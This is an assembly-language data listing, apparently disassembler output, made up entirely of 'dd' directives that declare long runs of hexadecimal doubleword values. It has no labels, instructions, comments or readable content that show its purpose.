		dd 404D4500h, 3496BACFh, 0FC13EE05h, 57C22B61h,	6AE50E0Fh
		dd 29B40E02h, 8B6391F3h, 8DAF48D8h, 941BD169h, 0CFB5B772h
		dd 1FA151Eh, 72FDAE0Eh,	382F41E9h, 2B902021h, 80FDB79Dh
		dd 0F917FEB9h, 4325F847h, 8CC10B8h, 0CF560A5Eh,	60A5A368h
		dd 36A995CEh, 0A83A443Eh, 1895805Fh, 0B35F14Fh,	0E1E08F6Dh
		dd 7FD98001h, 80A86812h, 0C8F6CFC4h, 1B4906D7h,	0F82861CBh
		dd 184E9C00h, 0D87E9E9Bh, 0B600935h, 9175959Dh,	6111A9B5h
		dd 61302F5Bh, 0A4DD9531h, 0E7BB4CC8h, 0CA532915h, 0FFD5BF02h
		dd 94550D3Fh, 0AAED97D0h, 98AAD140h, 97302A9h, 442952F6h
		dd 0C4CE645Eh, 0B2A1C595h, 0D1C69A2Ah, 0A97EC0CFh, 147BC129h
		dd 0B4AE54A4h, 8D6003CFh, 0C20AFC6Fh, 210B03B8h, 0D3FF6A35h
		dd 8ECB70D5h, 0EF90E403h, 0D4CF4716h, 0DCBB8EC0h, 2CBCB27Ah
		dd 0F6B319C9h, 7B2BAF00h, 0D7CB71D6h, 97431DBBh, 70ECE55Fh
		dd 9D211245h, 0B0FFD36Ah, 519D0980h, 0E62C1C9Ah, 1904670h
		dd 0F471E412h, 75CBF246h, 691DF6F5h, 0D1B44770h, 5D3C0A41h
		dd 0DBB9CCh, 0E010CD1h,	392F7F4Ch, 288F250Eh, 5E9E408h
		dd 208B0340h, 5B2DBBD3h, 7E1DE6BAh, 81558229h, 18A98D14h
		dd 39BD118Dh, 6A162EA1h, 6AE25752h, 8E025D10h, 8EBC43BBh
		dd 4AAED2Fh, 1220855Fh,	0F47D71B2h, 0E217D775h,	146D00FBh
		dd 0C215D8DEh, 3132011Ah, 0F2A4C987h, 6B032F5Fh, 0ECD5BD09h
		dd 5004AF34h, 68BDA203h, 66BD1222h, 4CE9250Ah, 1201BD91h
		dd 0AF6655F9h, 0FC409DB4h, 0F507FBh, 0D521495Dh, 0D88ACDDBh
		dd 0D17916ECh, 32374D12h, 1E2235F2h, 27A1A5F2h,	0D04E7CFEh
		dd 30784183h, 2257555Bh, 0B58D0389h, 0DC0ED704h, 7396EEFh
		dd 0D9FEA303h, 50B6A7E2h, 911A13D8h, 0C07E9B6Ah, 0EE111661h
		dd 219D0275h, 0F95670E1h, 8C2047Dh, 0AA0398BFh,	3EA3C300h
		dd 3B29F313h, 47BD0264h, 1772737Ch, 0BB60355Eh,	0B3820B6h
		dd 0A48B974h, 927C97Ah,	0C0157402h, 1E7039F0h, 68191700h
		dd 54889E5Dh, 0C0974BE2h, 0F337BF27h, 4F3D0A3Bh, 49E05CF6h
		dd 0ED094079h, 5CFC699Dh, 5D246F39h, 4EDDB903h,	3200D96Eh
		dd 215EADFBh, 0CC1CA0DCh, 5967561Bh, 53FC25DBh,	15D5250h
		dd 0F9A7DDB0h, 7CDF3E37h, 178F4B9Eh, 401DD350h,	0BD4E312Bh
		dd 545797D2h, 0EDE9409Ah, 0A41283ACh, 0D4BC15DCh, 2B0173C0h
		dd 466917C5h, 0F35968h,	2D58E8BBh, 0B6246003h, 0D51194EBh
		dd 74986127h, 6E952EB3h, 0D4EDBCFEh, 0C1E3DE80h, 9D80D8B1h
		dd 47D5A5E5h, 10F5B484h, 0E55B2527h, 50096906h,	8EB1B77Dh
		dd 1228E9DFh, 14DEB880h, 0F40EBF1h, 20AA096Fh, 0C0222B47h
		dd 3836B51Eh, 16CAF94Bh, 535E6A22h, 0DCF995C4h,	0E74AB838h
		dd 0BF02B441h, 5E0EB59Dh, 1AFCE634h, 0FF873962h, 73B5F3E1h
		dd 0FDCC82D0h, 65505862h, 44F8F61Ah, 3238AE20h,	0E7045BA9h
		dd 0CD0A74Fh, 25985D6Ah, 5CE5E5B2h, 5CE79517h, 9934FEB7h
		dd 53E72125h, 5C04300Bh, 6001F46Bh, 4A72CCE9h, 0C8206210h
		dd 2A1841F5h, 0BCD956B0h
		dd 7B00DCF6h, 8680BB3Eh, 292639Eh, 6824CB81h, 20E0640Ah
		dd 5C822B39h, 0D18D2150h, 0CD68191Ch, 0F0C7F307h, 0BD27848Eh
		dd 1531245h, 2187AFEh, 897C0528h, 698156BBh, 2D80D137h
		dd 0B67F1D2Ah, 0B3600011h, 0A5EE811Ah, 362C1205h, 8901D61h
		dd 6C6E8D4Bh, 0F90D6915h, 0BE7B80F6h, 0A403EB8Ah, 36B5C25h
		dd 5A5F52ACh, 245E0A0h,	13676880h, 30ADDFC7h, 0E23BFF4Bh
		dd 5A498415h, 0F9D4032Ah, 0EBAE97D6h, 565BAA15h, 3C980263h
		dd 0B7FD523Fh, 0FCA900FBh, 9F7ECF3Ch, 2D5E6C4h,	140128ABh
		dd 16E688h, 0F1DE1F38h,	4119EE0Dh, 9F31BA03h, 0E0013CAEh
		dd 97546BA3h, 1A915FB5h, 0BA2A7880h, 0D32E4B4Ch, 90B6D34h
		dd 184D10Dh, 0DAE951F6h, 0F8DE7F01h, 0D0266480h, 7A027D18h
		dd 60059A6Eh, 10A2E101h, 0E555C606h, 4A1D3C88h,	1FBD2DC5h
		dd 9C0286BCh, 6D8D01D4h, 0A63A5713h, 75000DE4h,	7A31ADDh
		dd 0A90AEDh, 0D4D153FDh, 58598C97h, 814BD773h, 0DD0550CDh
		dd 4AB759E4h, 4FC2E7ACh, 73A0F6F6h, 0DCFCA85Ch,	0BB118001h
		dd 7C3CCB89h, 0DE36DED2h, 82E7883Ah, 1A3B97D9h,	7A9E4211h
		dd 0E2F9498Eh, 0E3F86096h, 2100366Ch, 0BFE5AF44h, 12C70BA7h
		dd 8180EA18h, 2FF22C3Fh, 50966B04h, 0FBD404EBh,	4AD4F36Ah
		dd 966177C0h, 0BD291560h, 205F8EC1h, 3C862BAh, 4E99F300h
		dd 81B14F33h, 199D02D8h, 615A533Ah, 68602D5Eh, 490F6EDFh
		dd 201DC292h, 9BDEFC95h, 88D380DEh, 9B2BE73h, 0C8209A1Bh
		dd 2D820455h, 6E2DE552h, 0D000F47Ah, 36B86509h,	9C4A4245h
		dd 4E8A84F0h, 0B06EE0F8h, 0BE66DE04h, 0D6BFF29Dh, 0C39CD839h
		dd 276B01DCh, 14BB2276h, 5F25369Ch, 421F282h, 0B839BD61h
		dd 0C5449DB1h, 97281697h, 0BA01A6B7h, 0FE8A66B6h, 525F282Eh
		dd 7CE62BD7h, 60F531E2h, 0E80997D0h, 0D3194DDh,	262742E9h
		dd 6193F090h, 0E18350E0h, 0A7BB0494h, 0BC3F6B4Bh, 8180EB56h
		dd 8E2ADF7h, 15235F4Bh,	0E1D8AB70h, 67791CCDh, 0C92565B8h
		dd 1153E56Ah, 0CDEE4208h, 0AA6063FBh, 0DB054B71h, 0C017C82Ch
		dd 4B62A959h, 251EC6B5h, 5A5145B3h, 0F765DE07h,	41A50970h
		dd 668C000Eh, 883F3E97h, 0EE9520BFh, 27359D4Ch,	0CAC4FC02h
		dd 3D63C040h, 61BA9710h, 85E23056h, 0E9535E1Ah,	6E800037h
		dd 0E7C2303Eh, 65314CFDh, 5056925Bh, 0F8E83177h, 0FC2C0A2Bh
		dd 1D46DCBAh, 9C759700h, 0B17EA9ADh, 0FE3F4416h, 3DEB1102h
		dd 6B515EE1h, 48404356h, 0B5CB7Fh, 0D7E21451h, 5F4F2183h
		dd 5980C6B1h, 0B616AC8Ah, 40EF006Ah, 0A1BE8043h, 0CB022C0Eh
		dd 29F951C0h, 0BBADB05Bh, 0C8E31219h, 919F32Ch,	7A8DEB80h
		dd 0ABCFB716h, 3106047h, 0A816318Dh, 0B761F1EAh, 35F58D3Ah
		dd 15518450h, 4E24BC91h, 3A00466Eh, 0F2C55C7Eh,	0B8702F18h
		dd 6ECA1095h, 0AD9B001Dh, 29BBED7Eh, 0DC2512D3h, 7E49E2CBh
		dd 0ED00DC72h, 4556E474h, 98EB7A2h, 0DC8AA5D8h,	35A5537Bh
		dd 0A1920009h, 1CC58E9Ah, 105C5058h, 5F250BADh,	63B053E6h
		dd 6AC5A554h, 0E076CDB7h, 9EB0854h, 0A9E7FE01h,	2B799531h
		dd 88934632h, 7F002618h, 81B48019h, 3E02F30h, 746B8341h
		dd 0C7C1EDAAh, 0D6A77D4Ch, 0D6A81EADh, 0BE0115F0h, 50234BFCh
		dd 49CEF80Ch, 318F5D9h,	0F2BCBD4Ah, 40599676h, 0C7096247h
		dd 8029B612h, 89258BDh,	0FEA50C3Fh, 0D09E20Ch, 696A9C57h
		dd 0A7732727h, 9D6B4970h, 0C6258BF2h, 696E7961h, 5BE9095Ch
		dd 0A0855001h, 0FCAE5F12h, 0BF80F9BDh, 0F0D552Bh, 56C01A97h
		dd 3A74519Eh, 513807Bh,	2276E86Fh, 7892952Eh, 0C0EB6D57h
		dd 2F3CDCFDh, 0FC1B7C02h, 5EC6B136h, 0BD13F4C4h, 1DEA6E14h
		dd 0B68FC984h, 0DB698C71h, 0CBF07022h, 0DE3FE400h, 0F381E611h
		dd 0D8A50485h, 988E0F21h, 3140C931h, 84FD4BE9h,	0C19A9BBDh
		dd 0FC4DFF8h, 5FF6202Ah, 0D5072720h, 8B406FC1h,	95CCF849h
		dd 168AABB0h, 4090F48Ah, 0C3C94CA0h, 79008872h,	82AD57EAh
		dd 127F40DBh, 0AFEEFCB3h, 0CD125817h, 0BCD8C2F8h, 0A427BF66h
		dd 40786FD2h, 0DFAAFE82h, 51038606h, 0F4B4F33Ah, 0AF789560h
		dd 0C2FCD925h, 0BBED5DBFh, 9A155C9h, 3F9D0BFCh,	3050C193h
		dd 0F045202h, 58685A31h, 4538D908h, 36C814A5h, 51279529h
		dd 0E4EE6705h, 71F601Bh, 50F006A9h, 467B2933h, 12BCFC4Ch
		dd 0BBE70E85h, 2561BF02h, 9C5C110Ch, 0ECD681CFh, 6E6AD1FFh
		dd 0B09713Fh, 0DE485C93h, 0A595961Fh, 0B8282B6Eh, 0F670967Dh
		dd 0C79E8200h, 70AC8EBBh, 26A275Bh, 37602456h, 7F3ED7h
		dd 69FEB321h, 0C25789B0h, 0E08B5425h, 25BB668Ch, 7E76396Fh
		dd 0C45B01F6h, 1CED597Bh, 0FE992B3Ah, 33001563h, 6DBFEBA6h
		dd 8D1E8641h, 808499EEh, 0E8B831E9h, 216108E1h,	0B8516953h
		dd 299FC2Fh, 0F43D9DD9h, 0CDDE8D47h, 0B6996625h, 1F5108B1h
		dd 702288A2h, 56099518h, 8BE2E356h, 0FD8A2202h,	9F2D7B5Ch
		dd 871591CDh, 0F7D12A6Fh, 0CCC7DB5Eh, 0E94B98B9h, 0EE3E88Ch
		dd 8A851FC5h, 6AC4AC01h, 0B87539FFh, 421A0B72h,	29D9BBEBh
		dd 0C1184401h, 45D407D4h, 23F0078h, 253057F7h, 264BD940h
		dd 54FA9585h, 7112820Dh, 0A2E4B802h, 48BF202Eh,	9275526h
		dd 0D8ED84B0h, 0FE2D70B8h, 0D7251664h, 9DCE7403h, 999D89FDh
		dd 0E49AA2DDh, 35E78271h, 60BF001Ah, 2F4BF8A8h,	0A4688A97h
		dd 297109B3h, 4449D05Ch, 0A07F011Eh, 3B040E49h,	0CD23F871h
		dd 88D44234h, 9016BB3h,	856B32A4h, 68F63B4Eh, 7758EF0Bh
		dd 952120Eh, 0B0FF2A3Eh, 0F71EDBA1h, 0CBC05213h, 0BF0BE73Ah
		dd 582B5F12h, 9FCA9D54h, 0A4227760h, 2765E23Eh,	133141D1h
		dd 0AA099C6Bh, 0B0445400h, 3DAE4EDAh, 65454C87h, 0C2A8FC16h
		dd 140C151Bh, 86074B5Fh, 7D206A89h, 0C4574E08h,	5BA74D25h
		dd 61836B22h, 2E3D6971h, 6AA5857Eh, 89450298h, 282BFABDh
		dd 100B44E9h, 1304119Dh, 34AEA6B3h, 0AAD8FEDEh,	0DCBC25BFh
		dd 9A5F8BC2h, 57E67D73h, 1FA1A5FEh, 7BA33BFEh, 71142F51h
		dd 0BC12C11Eh, 701090E6h, 870F16E3h, 29600FD1h,	86455F9h
		dd 0E5EB4F8h, 6CF5820Fh, 0BB0E3513h, 94826828h,	0A490AD10h
		dd 830E7D63h, 481247h, 0B0D9C2FAh, 1E230019h, 0F141BEA0h
		dd 0B925328Eh, 0F8A7066Ch, 9EFC71F4h, 700BDC07h, 0F163CE48h
		dd 0BA8D16A2h, 0B33B1F29h, 0D2B14E52h, 3BC0862Ch, 0C41C5753h
		dd 5AF4EA00h, 706786CBh, 0B5D239BCh, 0EFE79402h, 547CC02Bh
		dd 0CCB604DCh, 90DF8B51h, 0BA9F0F7Fh, 8D25DEA6h, 0C96C7315h
		dd 98704653h, 24059E07h, 9D773D14h, 5FD21AD3h, 375E6E42h
		dd 65D40F40h, 47BF0045h, 0C7B193EEh, 2F4874AEh,	2E151019h
		dd 1B8BCD4Ah, 4D0DC29Eh, 195860CBh, 14BBB71Ah, 0F635B5E1h
		dd 9FA296D5h, 0F053F17Bh, 4A8BFF7Ah, 0F499E2FAh, 0C8A322F6h
		dd 0B7A20A7h, 6CD49428h, 8DE312FEh, 918983E2h, 6862996Fh
		dd 0EAE6C39Bh, 9D3F401Ch, 5F9BA8D5h, 0D36DE1B8h, 0EE00B7ECh
		dd 8842B903h, 160ABBC8h, 0AD716E20h, 0AC34D5E5h, 870E2F0Ah
		dd 17FC9590h, 0D79C3700h, 3D91358Dh, 4811D40h, 0FF854174h
		dd 2EDD8AE1h, 8989AA28h, 89282EF9h, 0DC608996h,	6BC00281h
		dd 0BD315A51h, 620795D9h, 637C3961h, 1A7D6725h,	0B75F463Dh
		dd 603389A6h, 0E381EB37h, 52586EA8h, 434B33Bh, 0B89B501h
		dd 309DB112h, 568ADD3Eh, 0A57D2474h, 1245368h, 5BF4D7B4h
		dd 0C7FA20D0h, 0C500E8B8h
		dd 374CC6F6h, 5F472BBBh, 7CACE50Ah, 40E8C882h, 0B7BD14FAh
		dd 1B5F7307h, 0A7907FB1h, 5E0FCEDCh, 2B8EA10Ah,	66904A31h
		dd 31D4CE25h, 0E2294E9Dh, 7A854179h, 8A6A2A2Dh,	0C0195884h
		dd 682DBFABh, 59480311h, 50A136ECh, 0F2F7F3D0h,	0F98B1737h
		dd 0E3D4124Eh, 0C4B357FFh, 41EEA330h, 416F4902h, 0F6CBB1EBh
		dd 5465827Fh, 94C626h, 80E0E82Dh, 65829F75h, 9EA36300h
		dd 41309F6h, 0FF5B09AEh, 57738B35h, 0D0005D20h,	905D7291h
		dd 25F0BBCEh, 4DC641D2h, 220D909Fh, 0F1F3005Bh,	283F1E08h
		dd 92097C58h, 54023DE9h, 5209F427h, 412C1D19h, 692DF53h
		dd 1824E1D9h, 78007D41h, 80AB6807h, 259B2216h, 10C67958h
		dd 0FA54E0A2h, 5FDFBF60h, 0DD084A09h, 0A8A469F7h, 724D09EAh
		dd 2A8E1161h, 0A26FCB25h, 0B4800E4h, 55A4DAE6h,	9F89E41Fh
		dd 68E1606Dh, 752FF010h, 0A0F4E6D8h, 98506430h,	2306444Bh
		dd 0B599D13h, 0FCB98AA4h, 0C8EC9F5Ah, 29999D10h, 19C26125h
		dd 6A6DF741h, 0DF0166E2h, 0F96C5CEh, 394EEF8Ch,	95604F2Ch
		dd 40DD938Fh, 0BA66F78Bh, 96F69DBFh, 0ACB79Fh, 83BF21D3h
		dd 0A4B6609h, 826A368Dh, 310005FFh, 911A1185h, 5A6EADAh
		dd 0A2506CC6h, 2960048h, 6D482528h, 30D691E4h, 0C18A60D0h
		dd 2B5A539Fh, 78BB01D7h, 22547AD6h, 4CF151DAh, 0C33EBBDCh
		dd 7E6ECFFBh, 49ED7403h, 82BC6991h, 2A7E25CAh, 72B25B17h
		dd 0C808EB00h, 0BEF60D09h, 0AB7C5F00h, 88E40604h, 809E9160h
		dd 44FD2015h, 0AE058FFBh, 8DB6536Ch, 7CB5D216h,	80BBDF3Eh
		dd 0B3751DB8h, 0E4119041h, 0FE9851B9h, 48E22Ah,	27BAA708h
		dd 0BF880F6Fh, 98EC091h, 104603Dh, 142EF5BDh, 1A85133Fh
		dd 0CD48B8A7h, 1417D38h, 2EDEBFCAh, 9369753Dh, 6CE271A8h
		dd 6A5F3C0Ah, 2025BECEh, 0F59D29EDh, 0C5C79519h, 9F755027h
		dd 278C1D3h, 5349009Fh,	0F98A45FDh, 6FBD4CE9h, 20960FBh
		dd 8702F5D1h, 250D7ECDh, 0A6C8591Bh, 0B9BB0240h, 8A5C5BA7h
		dd 5002C975h, 0B7020915h, 50635C5Ah, 46940471h,	0E71E00F4h
		dd 4286EC89h, 0DB29801Fh, 3F62F30Ch, 0CABD7504h, 0BDEAFF07h
		dd 6E81E614h, 2D2E2E8Dh, 0A83929A8h, 0A64A2820h, 0B72325E9h
		dd 0B5978ECEh, 2F023D22h, 5ED28734h, 5E1D3A57h,	9B00D4E0h
		dd 742E94FBh, 2D6855AFh, 4C01D229h, 0E2B9B501h,	0ED5AAC5Ch
		dd 142041FAh, 0ED206B23h, 1F0FE25Ch, 0ADF7Eh, 0C0FCADC1h
		dd 5300A458h, 283C87EEh, 95618501h, 43B0C852h, 4CCC965Ch
		dd 0B631715Dh, 61C8AA6Bh, 13C10896h, 54B1B061h,	72458A4Ch
		dd 91E31252h, 8AA35F42h, 75231E00h, 0ABC025B0h,	0D2F49873h
		dd 0B5312D09h, 5B6EA405h, 0D88C5B9h, 0EB013380h, 1DBCE930h
		dd 4005EF95h, 8060E27Fh, 5F5684DFh, 3015E2D4h, 509D5CAEh
		dd 0FBB725F4h, 25B0CEC6h, 58BB0544h, 19258393h,	6F57D6CAh
		dd 0BBE7440Fh, 6F1C084h, 0C8789A6Bh, 0F0F1C119h, 10FBD408h
		dd 9CB813Bh, 705AD1E0h,	0F98B25DAh, 5735A7C2h, 12FDC294h
		dd 0F4B90DE7h, 0CFFBB892h, 135DA529h, 0A12374AFh, 0B778AD3Ah
		dd 5A9B00C2h, 52662108h, 943B7916h, 11C45FE9h, 58AC120Bh
		dd 0C4E8E180h, 7100B8B6h, 8AD1B115h, 5FF936D4h,	92D3450h
		dd 8BD5F8F8h, 0D01B1807h, 112B878h, 0CD9B637h, 7153AB89h
		dd 8490457Dh, 0C557BDEFh, 17EB96FBh, 0C08DBD21h, 0F34A67F0h
		dd 0D26D02B6h, 0CE12C53Ch, 0A30235D7h, 5CA78F8Bh, 0AE829B24h
		dd 0FABFF6D0h, 0FD72576h, 0D4A1A7C6h, 5CF6B05h,	0BB012A22h
		dd 6725276Fh, 0B7C85150h, 17F89768h, 60243409h,	0C6000757h
		dd 45AA9AEh, 0D4FA5D57h, 4D98BF16h, 0E55909F7h,	0BB902BCh
		dd 8AEB140Ah, 0A4723264h, 5B8669B5h, 0ADB4752Eh, 4C11A88Ah
		dd 0C50B59A2h, 0E8C15F45h, 809E3912h, 15707605h, 0EA2412AAh
		dd 85A81F54h, 0F8FBC6AFh, 17CD121Bh, 60A094B8h,	0A9B59D31h
		dd 0D0D5E2D2h, 0E7614A0Bh, 0A6A4E9Fh, 0EEE4012Fh, 46973E00h
		dd 5E94AB6Ch, 0A47C070Ah, 50932BC7h, 5D78039Fh,	0A8E32E2Ch
		dd 5F9DC927h, 2D1B282Fh, 0D1305D8Ah, 164B49BDh,	96004DCh
		dd 1C14BA66h, 0D99F08EEh, 0E05A2D6Dh, 0F719D11h, 0B83BB9A5h
		dd 0E07002Eh, 0B4B7E8BAh, 8C4E0F3Eh, 0FE0920F3h, 0CC70B9E9h
		dd 25D24195h, 0A5A4FBB1h, 0FF171431h, 7081A3DBh, 2FFE8B26h
		dd 7700F9F3h, 0FA0E471Fh, 1A975FC0h, 10DC84D8h,	0C5437340h
		dd 0DC00C7BFh, 5999A46Eh, 13E58CA3h, 448F4CBEh,	0EA5B5F84h
		dd 352DA8Ch, 0F0D6A89Bh, 0FCB87BE7h, 6BE3B21Fh,	0E18153C1h
		dd 6ADAA53Ah, 0E28F5FDBh, 0D4361777h, 29DC0422h, 0F94BED15h
		dd 697BE62Fh, 97FC9844h, 0B35E00AFh, 931E142Dh,	667732E1h
		dd 7DC56902h, 58EE7F05h, 218848BEh, 4BED0625h, 331477CBh
		dd 5E5DDCCBh, 7CBB6033h, 0F1A7FEAh, 0C0026090h,	7534BF67h
		dd 602F97F2h, 0E1E8A6D3h, 1770D09Fh, 5CA06A98h,	2FC52994h
		dd 610EFFC6h, 8B84C180h, 78F4D36Ah, 8D00EFEDh, 718F643Dh
		dd 303F69BBh, 814E4CCCh, 0F0299DBh, 0B3606191h,	0CAD7603Ah
		dd 971279A1h, 0DC0589Ah, 38FC0163h, 0B312EEB5h,	0A9A1589Bh
		dd 0C0DBAA0h, 0F84F5582h, 49F2744Bh, 68F5BD07h,	27CE42Dh
		dd 250ED851h, 0B7C17FDEh, 83282F5Bh, 0F72EE184h, 5C7CA22Ah
		dd 26AE248h, 1FDB7DDh, 20899326h, 198F6B50h, 0EB554451h
		dd 2576EEBh, 205A4312h,	0B320D888h, 970286Ah, 98E98C30h
		dd 480B1C57h, 0B65BBC92h, 4CCEF03Fh, 92F32680h,	904D27C9h
		dd 0D7ED82E0h, 0E3BED214h, 38EC4FA7h, 65BB50C0h, 4A978DA7h
		dd 0DC3074B9h, 6177630Ah, 0AD098D1Ch, 9BC6782Dh, 18145155h
		dd 0DAB29786h, 362B75Ch, 0B869D5BDh, 1FB66E6Ah,	0FBEDBEF0h
		dd 10B6362Dh, 0AF02F27h, 50E4DAA6h, 0CF90895h, 536E5F1Ch
		dd 7C2A410Bh, 8709F462h, 7BF95DACh, 5C0511AFh, 0B0D780AFh
		dd 54B357h, 81AD442Fh, 9ACCF1EFh, 0BDC44B4Bh, 0B93D4980h
		dd 897013E6h, 7CB6E9B5h, 6202EB00h, 71E42859h, 0ACA497FCh
		dd 0BD3343D2h, 4036FCF5h, 7B0E452Dh, 583E287Ch,	205AF4FAh
		dd 6132EA69h, 6A28511Dh, 0F797E825h, 97B37AE2h,	58418CA7h
		dd 81D1003Bh, 3DF91CD3h, 0CCE94F78h, 80AA7104h,	42D8FC0h
		dd 0F622BB80h, 0B93A4A0Fh, 85205B19h, 7AB0301Ch, 0C79F1696h
		dd 282E5AFCh, 253B165Eh, 437BE62Fh, 5C11119h, 65C4F25h
		dd 7E2DCDE0h, 9FCA1F6Dh, 0AE131681h, 2D5ACE36h,	49540CA1h
		dd 742C8462h, 9BEB4325h, 0A5FAF5DBh, 0FFE1B82h,	2FB82A5Ch
		dd 42961F8h, 5DD2606Ah,	0D042587h, 0EFACF9DAh, 0C08486BDh
		dd 7760EFEDh, 0A8B3Dh, 0A0866A07h, 1E986956h, 6F0B8F1Eh
		dd 8012F0BDh, 82F355E3h, 24813A5Fh, 2710B009h, 765B909h
		dd 16394348h, 0FC5B80A4h, 80007D6Eh, 0ACA70A2Bh, 4197267Dh
		dd 0FC021729h, 42C7A380h, 0C01F2B0Fh, 4B8E95BBh, 37D2E96Bh
		dd 49BD81EDh, 205BCA41h, 0BF97DE63h, 8066A15Ah,	85C9B6A7h
		dd 5C092534h, 0DC095F50h, 9501417Bh, 0D4E3429h,	88F7884Fh
		dd 789B02B0h, 0F304057Fh, 71DF95BEh, 5FD706C0h,	34504F2Ch
		dd 4B64F86Bh, 0B301318Dh, 8B6B1FD5h, 0BB66C1B0h, 4BA511CFh
		dd 4811F665h, 0D14B2861h, 6F77C2B8h, 587C605Ah,	9109E620h
		dd 71FCE8C8h, 816080CDh, 0F85264DFh, 954E33EEh,	0B8805DD5h
		dd 0E29D89E1h, 57C79524h, 29053A11h, 6212C585h,	42020113h
		dd 0D083F304h, 7D00B03Dh
		dd 49C5BD02h, 3C932F39h, 0B3C4890Fh, 4512DE5Bh,	0CF8DCCB2h
		dd 1DD1026Dh, 2D606AC9h, 5837B840h, 9B12BC0Eh, 4CBA341h
		dd 28D98D31h, 0B192B7B8h, 97A828B1h, 0A00430AFh, 0E4E6C4A2h
		dd 40D9B209h, 9D5B878Dh, 5F25102Eh, 183CAC8h, 4160EFB5h
		dd 2B8B6717h, 64B64374h, 0AE0214A0h, 0C8DC4904h, 0BB81D84Dh
		dd 9C7F2E61h, 9D2A0398h, 0E690B1F1h, 731EB925h,	0DC4DA525h
		dd 6834E2C0h, 29CE01EEh, 7B9010C8h, 2A236E50h, 0CA7E80ACh
		dd 473B0E42h, 0F467851Ah, 785F5021h, 5B4AC179h,	8C4C18A8h
		dd 0D32E0DC3h, 0FD641C7h, 2FB52031h, 3C8968F1h,	3DFC04BFh
		dd 1FF39054h, 0F5952904h, 27291405h, 497E569Dh,	0DCAF7Ch
		dd 2F5DEBCCh, 29EC5AF7h, 0B86C2E54h, 5BDB97h, 1BB639CEh
		dd 0B571C75Eh, 0A40268EAh, 8BBC9B94h, 0D30055FAh, 43836F5Bh
		dd 9D119197h, 0C3DD7FF5h, 254C95ECh, 0C546212Ch, 8B17605Eh
		dd 80DCB2A1h, 30609FC8h, 0DC8313D5h, 0E29C29BDh, 0EDDDC601h
		dd 0F2560B58h, 0CA504080h, 0BF097184h, 0A14E3001h, 189E96Dh
		dd 3DFB7A3Bh, 0E62AA526h, 0D6BB3C29h, 0F15DD192h, 0E08E271Eh
		dd 98975975h, 0C2F02EB4h, 31F908D1h, 0F444CA25h, 4102F4B0h
		dd 545263DEh, 6A605E8Ch, 3381081Eh, 0D3A4891Eh,	0DE1EC6C8h
		dd 6FFA46D2h, 203802ECh, 5F500806h, 0D4002A66h,	0F7A88248h
		dd 901894DDh, 8FB80B7Ah, 8E62614Ch, 1B026155h, 9516A3BBh
		dd 0D337B902h, 0FE80B29Bh, 0D0BEA18Eh, 4085802Fh, 9743B18Bh
		dd 999FEF14h, 86575064h, 0FA3D129h, 295CC3EBh, 571B3193h
		dd 9DF4405Fh, 87BC3161h, 61AEDA92h, 7ADF8B1Eh, 209508D8h
		dd 903A1771h, 0FD1DF9BFh, 0FCB501Ah, 622AFE87h,	615C2D89h
		dd 70FADBE9h, 0B1905DE2h, 276EB114h, 199D16BEh,	80B3FF52h
		dd 0A042E6D6h, 4DC514Dh, 26B1F030h, 0CD3981DBh,	0B2BF0001h
		dd 3A4B2542h, 371C8D65h, 0FEF95A38h, 0A80521BCh, 0E9CBDD2Ch
		dd 9531D6B4h, 13256DF1h, 98E2A070h, 27F51271h, 0AE5EE310h
		dd 2BBD0249h, 167564F3h, 7B3169BDh, 9BE40086h, 1876FDCAh
		dd 0E54E1273h, 8CA2E2E8h, 528A57ACh, 9DCBF2F9h,	208D8A98h
		dd 0A39A7F82h, 4FB7E9F0h, 3DC6620Ah, 0F96A605Ch, 0F7DECF02h
		dd 2407412Bh, 23D4DC2Ah, 0FA959D4Eh, 3325B4F8h,	6DA728C5h
		dd 64734050h, 2B58CB75h, 52B12F62h, 5FB3FC83h, 0EE8FD402h
		dd 0F4F70222h, 0ABCE78CDh, 0B7283E7Dh, 515DE5E1h, 995B2B83h
		dd 0B181871h, 0F7CC3C09h, 5D961F1h, 2E98B701h, 9BAA2534h
		dd 2AB280D5h, 55B7E72Ch, 0DE2BBABDh, 9093C0B3h,	13BAB064h
		dd 0F8A58E3Ah, 8D8909EFh, 55638979h, 0DF9CAB94h, 0A44012D4h
		dd 20A2FBh, 0B8AFA1C1h,	37DD80h, 78162642h, 0E66C73F6h
		dd 0DE662501h, 0FC8A417Ah, 598D5C85h, 5B2DAE27h, 7C6A2Eh
		dd 0BEDD3168h, 167CBF74h, 0BB153A0Bh, 30884F62h, 7195A248h
		dd 0B8FC44FDh, 0C781015Fh, 4728FD0Ah, 41631E2Eh, 3EE618DFh
		dd 0F135604Bh, 302B2141h, 0D595314Eh, 489C124Bh, 0F59D2F2Bh
		dd 336914E4h, 0FC55A540h, 23CD6BABh, 0F0F3001Ah, 5CE57ABAh
		dd 0B6B75A4Ah, 9BAC4B4Dh, 0A9D0DD01h, 467D8C7Bh, 0B100FD03h
		dd 5BB6096h, 3E728417h,	0E797BA66h, 0E8630461h,	42444013h
		dd 16DBD4E5h, 0FC8C7DA2h, 5950E0E6h, 0A2604F5Fh, 28971ED5h
		dd 61453107h, 88AC9615h, 0FAEE2125h, 0B138B895h, 1591871Bh
		dd 0A951BF01h, 6B965FE0h, 61EC0716h, 425ADE1Eh,	15F19509h
		dd 526034B0h, 9C9E61E4h, 5B65C91Dh, 181459CAh, 0A9A8A0FFh
		dd 9537AC13h, 4E3E6CD3h, 9A6AC8F5h, 0C019C892h,	49EA5320h
		dd 0CAA9B030h, 955B52D8h, 1345DD94h, 56FB9102h,	0CB0469D4h
		dd 0A8CCAA51h, 0C39E95F5h, 9823595h, 5159836Dh,	4C715100h
		dd 18FDDC8h, 0B1F8BD0h,	6A9D635Fh, 5B86ABCAh, 0F975E253h
		dd 0F476E90Bh, 7822FBFFh, 0DA0496EAh, 0C18BBB74h, 0E2C74CDBh
		dd 23DED09Ah, 281299B5h, 32E3D462h, 95DAB540h, 17590773h
		dd 6F01B518h, 9D0989F4h, 0B77B2D7Dh, 105A4834h,	0E84F1349h
		dd 0F8DEC0C7h, 446C620h, 3C40226Dh, 0D1C88C50h,	4BDBB05h
		dd 9BEA9020h, 0C1BD9747h, 1FD93B80h, 7124BD29h,	0C96AA22Bh
		dd 4E495AA7h, 8526EC95h, 21ABCD9Dh, 58062C1h, 32D18F06h
		dd 4A5DFA25h, 92F5AD2Fh, 0D0A009A6h, 0B32776C6h, 5F438945h
		dd 0BF9ECCACh, 5B744413h, 71E93CC7h, 0E7E9003Eh, 6016DEAAh
		dd 98F61F00h, 0C151F825h, 774A09D3h, 90556EBEh,	7EA45E42h
		dd 285B1C09h, 52204444h, 7909FB23h, 708A5B90h, 1171038h
